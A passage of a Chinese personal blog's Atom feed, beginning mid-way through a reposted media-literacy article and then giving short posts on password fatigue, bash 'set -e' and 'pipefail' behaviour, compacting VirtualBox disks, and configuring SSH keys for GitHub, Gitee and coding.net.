的消费者质疑。</p><p>有些时候信息消费者可以看到采访过程实录,需要注意的是记者的提问内容,究竟问的是事实,还是在寻求观点。如果是后者,则需要针对性思考,而不是仅凭直觉接收。如果发现记者在借助一系列对事实的追问,有目的的引导受访对象表现出媒体预期的态度,那就不叫采访,而是说服。</p><p><strong>4、评估证据。</strong>哪些才是证据?</p><p>观察和理解不是一回事,后者是个体基于前者加入了个人经验或感受后得出的结论,是「我感觉」,而不是「我看到」;推断和实据也不是一回事,自媒体渠道经常见到这种影响,令受众将推测结论和事实混淆在一起,认知被干扰。如果信息源是有目的地(比如党宣或被利益集团、政治派系所操控的,伪装的自媒体或新媒体),则会给信息消费者带来误导。</p><p><strong>5、还有其他可能性或解释吗?</strong>都是些什么?</p><p>如上述新闻分类,目前最常见到的是「断言式新闻」和「肯定式新闻」,它们不是以展示事实为根本的,事实只是宣传目标的附属品。那些未经核查的事物,不论其准确与否都属于断言,报道的目的是暗示和影响,而不是呈现。</p><p>如果信息消费者发现记者在采访中只是「给受访对象一个说话的机会,说出他们想说的话」,而不是尝试核实和质疑结论,那很可能无法确保是真实的。单个数据只能暗示事实,而无法确定事实,如果你看到的只是单一信息源发布的单一数据,便可以怀疑是基于宣传目的所做的「证据筛选」,在「肯定式新闻」中很常见。</p><p>排斥掉那些试图影响你的结论及证据,试着反问:还有其他可能性吗?哪一个更可能?或许有必要重复一下:这些新闻模式并非官媒和门户网站所独有。</p><p><strong>6、筛选题材。</strong>你得到了真正需要的新闻内容吗?</p><p>信息轰炸时代,各种渠道的新闻铺天盖地,对受众个体来说,那些东西真的都是你需要的吗?</p><p>你可能漏掉了什么,有没有发现一些消息里隐藏着对民生影响较大的意义?也可能过多接收了一些没有价值的纯宣传,还可能它们被误导了,这是比浪费时间更大的损失。基于上述,信息消费者应该明白自己究竟需要些什么题材的信息,以及对自己的预期而言哪些获取渠道更靠谱?获知有没有片面,如何将那些碎片拼凑到趋于完整?过滤掉重复的内容,避免被有目的的影响,做一个聪明的信息消费者。</p><p>篇幅有限,本文没有选取实例来分析。如果你学会了这些判断方法,不妨试用一下,它们并不复杂,谨慎取信只是个习惯问题。</p>]]></content>
<summary type="html"><p><a href="https://iyouport.com/archives/45954">原文链接</a> 需翻墙</p>
<p>作者:Sylar</p>
<p>近来有发现,部分翻墙网民一直没有登陆推特、谷歌,使用翻墙软件只为看一些政治八卦,后在墙内平台上传播。那些充满戏剧色彩的、或许永远也无从证实的「故事性消息」,满足着猎奇者的欲望。他们可以翻墙,但不经常翻墙,只在政治八卦的线索出现在视野内的时候,才能触发翻墙兴趣。实验将一篇正规外媒的消息链接发在这样的群体里,如果标题没能激起猎奇欲望的话,便很容易被忽略,大家认为「没必要费力搭梯子只为打开一个墙外链接」。</p>
<p>这让人感觉,长期处于新闻管制下的信息消费者,即便短期脱离管制,有可能依旧缺乏独立辨认信息的能力。猎奇心理的基础是寻求刺激,背景是反应迟钝或弱化,基本属于在长期「统一思想」的束缚之下需求被压制的结果。主要表现为轻信、偏执,分为渠道依赖型偏执和内容偏执(猎奇),后者有可能很快转化为前者。</p></summary>
</entry>
<entry>
<title>《密码疲劳》读后感</title>
<link href="https://ajasonwang.github.io/2015/08/19/all-about-password/"/>
<id>https://ajasonwang.github.io/2015/08/19/all-about-password/</id>
<published>2015-08-18T19:53:53.000Z</published>
<updated>2022-11-08T12:47:15.844Z</updated>
<content type="html"><![CDATA[<p>今天有幸拜读阮大神昨天写的文章 <a href="http://www.ruanyifeng.com/blog/2015/08/password-fatigue.html">密码疲劳</a> 颇有感触</p><p>一来各种重要的网银密码容易忘记的问题在信息社会是越来越重要,几乎所有的年轻人都无法回避这个问题;</p><p>二来几年时间自己已经成为资深网虫,注册的网站不计其数了,忘记密码是常有的事。</p><span id="more"></span><p>自从CSDN密码泄露事件之后,又陆陆续续有2000W开房数据信息泄露,然后就是携程事件,一个接着一个。。。我也有幸知道了创宇,知道了 <a href="http://wooyun.org/">乌云</a> ,不得不说互联网时代,所有的公司都必须面对网站安全的问题,看看乌云爆出的一些漏洞中,有很多case严重到足够摧毁一家公司业务了,此处省略一万字吧</p><p>如今想想,当初看了 <a href="http://www.williamlong.info/">月光博客</a> 的文章,养成了一个好的习惯是多么及时,有了lastpass,keepass等好用的工具软件,现在已经几乎没有忘记密码的烦恼了。否则,只怕是生活中各种不便,或者被各种论坛拖库事件间接伤害了。其中我在一个公开的网站还特地去检查过,验证了我的天涯密码泄露了,当时输入天涯用户名看到自己的密码明文显示在页面,如此轻易被查到,还是吓一跳啊</p><p>推荐几篇关于密码安全的文章,当然凡事没有绝对,再牛的密码遇到网站明文存储也是毫无安全可言</p><p><a href="http://www.williamlong.info/archives/2937.html">个人密码安全策略</a></p><p><a href="http://www.williamlong.info/archives/3660.html">设计自己的密码规则,实现强壮的自我保护</a></p><p><a href="http://www.williamlong.info/archives/3100.html">常用个人密码管理软件</a></p>]]></content>
<summary type="html"><p>今天有幸拜读阮大神昨天写的文章 <a href="http://www.ruanyifeng.com/blog/2015/08/password-fatigue.html">密码疲劳</a> 颇有感触</p>
<p>一来各种重要的网银密码容易忘记的问题在信息社会是越来越重要,几乎所有的年轻人都无法回避这个问题;</p>
<p>二来几年时间自己已经成为资深网虫,注册的网站不计其数了,忘记密码是常有的事。</p></summary>
<category term="文章" scheme="https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"/>
<category term="安全" scheme="https://ajasonwang.github.io/tags/%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>linux中的set命令: set -e 与 set -o pipefail </title>
<link href="https://ajasonwang.github.io/2015/08/07/linux-set--e/"/>
<id>https://ajasonwang.github.io/2015/08/07/linux-set--e/</id>
<published>2015-08-07T06:04:04.000Z</published>
<updated>2022-11-08T12:47:15.875Z</updated>
<content type="html"><![CDATA[<p>工作中经常在shell脚本中看到set的这两个用法,但就像生活中的很多事情,习惯导致忽视,直到出现问题才引起关注。</p><h3 id="1-set-e"><a href="#1-set-e" class="headerlink" title="1. set -e"></a>1. set -e</h3><p>set命令的-e参数,linux自带的说明如下:</p><p>“Exit immediately if a simple command exits with a non-zero status.”</p><p>也就是说,在”set -e”之后出现的代码,一旦出现了返回值非零,整个脚本就会立即退出。有的人喜欢使用这个参数,是出于保证代码安全性的考虑。但有的时候,这种美好的初衷,也会导致严重的问题。</p><span id="more"></span><p>真实案例:<br>脚本a.sh开头使用了”set -e”,且能正常运行。在几个月或更久以后,因需求升级,在脚本中增加了3行hadoop操作:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/bash</span><br><span class="line">set -e</span><br><span class="line">...</span><br><span class="line">/home/work/.../hadoop dfs -rmr /app/.../dir</span><br><span class="line">/home/work/.../hadoop dfs -mkdir /app/.../dir</span><br><span class="line">/home/work/.../hadoop dfs -put file_1 /app/.../dir/</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>这几行hadoop命令逻辑很简单:在hdfs上清除并新建一个目录,并将一份本地文件推送至这个目录,供后续使用。将这几行单拎出来,在命令行下执行,除了提示待删除的目录不存在,并没有什么问题,文件还是会被推送到指定的地方。</p><p>但第一次执行这个脚本的时候,却失败退出了,且导致调用该脚本的程序整体退出,造成了严重的后果。原因是hdfs上还没有这个目录,rmr这一行会返回255,这个值被脚本前方的”set -e”捕捉到,直接导致了脚本退出。</p><p>新增的代码本身并没有问题,先删除再新建目录,反而是保证数据安全的比较规范的操作,删除命令本身的容错性,可以保证后续命令正常执行。事实是这个脚本有好几百行,且逻辑比较复杂,在增加这几行代码的时候,开发人员已经不记得这个脚本里还有个”set -e”埋伏着了。</p><p>可见设置”set -e”,在脚本开发过程中可能很有帮助,而在开发完成后,特别是对于后期可能有升级的脚本,则可能是埋下了安全隐患。</p><h3 id="2-set-o-pipefail"><a href="#2-set-o-pipefail" class="headerlink" title="2. set -o pipefail"></a>2. set -o pipefail</h3><p>对于set命令-o参数的pipefail选项,linux是这样解释的:</p><p>“If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status,or zero if all commands in the pipeline exit successfully. This option is disabled by default.”</p><p>设置了这个选项以后,包含管道命令的语句的返回值,会变成最后一个返回非零的管道命令的返回值。听起来比较绕,其实也很简单:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># test.sh</span><br><span class="line">set -o pipefail</span><br><span class="line">ls ./a.txt |echo "hi" >/dev/null</span><br><span class="line">echo $?</span><br></pre></td></tr></table></figure><p>运行test.sh,因为当前目录并不存在a.txt文件,输出:<br>ls: ./a.txt: No such file or directory<br>1 #设置了set -o pipefail,返回从右往左第一个非零返回值,即ls的返回值1</p><p>注释掉set -o pipefail这一行,再次运行,输出:<br>ls: ./a.txt: No such file or directory<br>0 # 没有set -o pipefail,默认返回最后一个管道命令的返回值</p>]]></content>
<summary type="html"><p>工作中经常在shell脚本中看到set的这两个用法,但就像生活中的很多事情,习惯导致忽视,直到出现问题才引起关注。</p>
<h3 id="1-set-e"><a href="#1-set-e" class="headerlink" title="1. set -e"></a>1. set -e</h3><p>set命令的-e参数,linux自带的说明如下:</p>
<p>“Exit immediately if a simple command exits with a non-zero status.”</p>
<p>也就是说,在”set -e”之后出现的代码,一旦出现了返回值非零,整个脚本就会立即退出。有的人喜欢使用这个参数,是出于保证代码安全性的考虑。但有的时候,这种美好的初衷,也会导致严重的问题。</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Linux" scheme="https://ajasonwang.github.io/tags/Linux/"/>
</entry>
<entry>
<title>virtualbox压缩vdi硬盘</title>
<link href="https://ajasonwang.github.io/2015/08/04/shrink-virtualbox-disk-file/"/>
<id>https://ajasonwang.github.io/2015/08/04/shrink-virtualbox-disk-file/</id>
<published>2015-08-04T01:09:09.000Z</published>
<updated>2022-11-08T12:47:15.894Z</updated>
<content type="html"><![CDATA[<p>查看虚拟硬盘(固定大小)信息:</p><p>“C:\Program Files\Oracle\VirtualBox\VBoxManage.exe” showhdinfo win10.vdi<br>UUID: 36524650-f833-4cbd-ac82-899603ae2f4c<br>Parent UUID: base<br>State: created<br>Type: normal (base)<br>Location: C:\Users\YOURNAME\VirtualBox VMs\Win10\Win10.vdi<br>Storage format: VDI<br>Format variant: fixed default<br>Capacity: 51200 MBytes<br>Size on disk: 51048 MBytes<br>Encryption: disabled<br>In use by VMs: Win10 (UUID: f3dc93e9-d91e-4078-8a9f-0cdd811b0552)</p><span id="more"></span><p>修改固定大小的虚拟硬盘为动态分配存储的硬盘,可以看到操作后Format variant变成dynamic default:</p><p>“C:\Program Files\Oracle\VirtualBox\VBoxManage.exe” modifyhd Win10.vdi -type normal</p><p>下面开始磁盘空间压缩,方法是这样:</p><p>1,在guest os 中清理系统, windows的话可以再硬盘碎片整理一下</p><p>2,在 guest os 中 使用 sdelete -z; linux 使用 zerofree</p><p>3,”C:\Program Files\Oracle\VirtualBox\VBoxManage.exe” modifyhd <uuid>|<filename> –compact</p><p>第一次尝试之后发现这个操作对减小vdi文件体积的作用不明显,于是我关闭了虚拟机系统盘的bitlocker然后再按照步骤123来了一遍,并且第二步加了个参数</p><p>sdelete -c -z</p><p>然后,50G的VDI大小变成了20G左右,目前还不确定是bitlocker未关闭还是-c这个参数造成的第一次尝试失败,神奇Oracle!</p><p>over</p>]]></content>
<summary type="html"><p>查看虚拟硬盘(固定大小)信息:</p>
<p>“C:\Program Files\Oracle\VirtualBox\VBoxManage.exe” showhdinfo win10.vdi<br>UUID: 36524650-f833-4cbd-ac82-899603ae2f4c<br>Parent UUID: base<br>State: created<br>Type: normal (base)<br>Location: C:\Users\YOURNAME\VirtualBox VMs\Win10\Win10.vdi<br>Storage format: VDI<br>Format variant: fixed default<br>Capacity: 51200 MBytes<br>Size on disk: 51048 MBytes<br>Encryption: disabled<br>In use by VMs: Win10 (UUID: f3dc93e9-d91e-4078-8a9f-0cdd811b0552)</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="虚拟化" scheme="https://ajasonwang.github.io/tags/%E8%99%9A%E6%8B%9F%E5%8C%96/"/>
</entry>
<entry>
<title>Github gitee 在同一台机器设置SSH密钥</title>
<link href="https://ajasonwang.github.io/2015/04/26/github-gitcafe-sshkey/"/>
<id>https://ajasonwang.github.io/2015/04/26/github-gitcafe-sshkey/</id>
<published>2015-04-25T18:22:22.000Z</published>
<updated>2022-11-08T12:47:15.866Z</updated>
<content type="html"><![CDATA[<hr><p>想想自己以前把博客同步到github和gitee不停地敲重复命令的方法就是醉了</p><p>我的机器是Windows7,对应的~/.ssh目录就是C:\Users\yourname\.ssh</p><p>cd C:\Users\yourname<br>md .ssh<br>cd .ssh</p><span id="more"></span><p>添加一个config文件并加入以下内容</p><pre><code>Host github.comUser gitHostname github.comIdentityFile ~/.ssh/githubTCPKeepAlive yesIdentitiesOnly yes</code></pre><p>生成新的SSH 秘钥</p><p>for gitee:</p><pre><code>ssh-keygen -t rsa -C "[email protected]" -f gitee</code></pre><p>for github:</p><pre><code>ssh-keygen -t rsa -C "[email protected]" -f github</code></pre><p>for coding.net:</p><pre><code>ssh-keygen -t rsa -C "[email protected]" -f coding_net</code></pre><p>1、用文本工具打开公钥文件*.pub ,复制里面的所有内容到剪贴板。</p><p>2、进入对应账户设置–>SSH 公钥管理设置项,点击添加新公钥 按钮,在 Title 文本框中输入任意字符。</p><p>3、在 Key 文本框粘贴刚才复制的公钥字符串,按保存按钮完成操作。</p><p>4、测试</p><pre><code> C:\Users\sa\.ssh 的目录 2016/12/13 08:42 <DIR> . 2016/12/13 08:42 <DIR> .. 2016/12/13 08:40 1,675 github 2016/12/13 08:40 402 github.pub 2016/12/13 08:42 1,679 coding_net 2016/12/13 08:42 402 coding_net.pub 2016/12/13 08:35 410 known_hosts 6 个文件 4,680 字节 2 个目录 29,375,688,704 可用字节 sa@DESKTOP-OK6H1D8 C:\Users\sa\.ssh $ ssh -T [email protected] -i github Warning: Permanently added the RSA host key for IP address '192.30.253.112' to the list of known hosts. Hi ajasonwang! You've successfully authenticated, but GitHub does not provide shell access. sa@DESKTOP-OK6H1D8 C:\Users\sa\.ssh $ ssh -T [email protected] -i id_rsa Hello ajasonwang! You've connected to Coding.net via SSH successfully! </code></pre><p>成功。</p><p>5、同时部署到github,gitee的命令和设置</p><pre><code>git push github master:mastergit push gitee master:gitee-pagesgit push coding_net master:master</code></pre><p>下面是我的git配置文件:</p><pre><code>[core] repositoryformatversion = 0 filemode = false bare = false logallrefupdates = true symlinks = false ignorecase = true hideDotFiles = dotGitOnly[remote "github"]url = [email protected]:ajasonwang/myhexoblog.gitfetch = +refs/heads/*:refs/remotes/github/*[remote "coding_net"]url = [email protected]:ajasonwang/myhexoblog.gitfetch = +refs/heads/*:refs/remotes/coding_net/*[remote "gitee"]url = [email protected]:ajasonwang/myhexoblog.gitfetch = +refs/heads/*:refs/remotes/gitee/*[branch "master"]remote = githubmerge = refs/heads/master</code></pre>]]></content>
<summary type="html"><hr>
<p>想想自己以前把博客同步到github和gitee不停地敲重复命令的方法就是醉了</p>
<p>我的机器是Windows7,对应的~/.ssh目录就是C:\Users\yourname\.ssh</p>
<p>cd C:\Users\yourname<br>md .ssh<br>cd .ssh</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="gitee" scheme="https://ajasonwang.github.io/tags/gitee/"/>
</entry>
</feed>